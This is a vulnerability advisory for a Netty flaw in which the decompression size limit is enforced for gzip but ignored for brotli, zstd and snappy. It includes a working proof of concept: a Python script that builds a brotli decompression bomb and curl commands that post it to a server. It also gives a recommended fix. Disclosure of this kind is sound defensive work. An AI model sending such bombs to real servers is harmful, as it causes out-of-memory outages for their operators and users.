CVE-2026-42587: 
Java Analyse et atténuation des vulnérabilités

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler. For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit. ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded. The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

1. Configure a Netty HTTP server with decompression bomb protection:

pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max

2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):

import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)

# compressed size: ~1KB

3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):

# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @bomb.gz

# Result: DecompressionException thrown at 1MB

4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):

# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @bomb.br

# Result: Full 1GB decompressed into memory → OOM

5. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

• Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
• False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
• Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
• Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter: HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210. BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit. SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement. ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).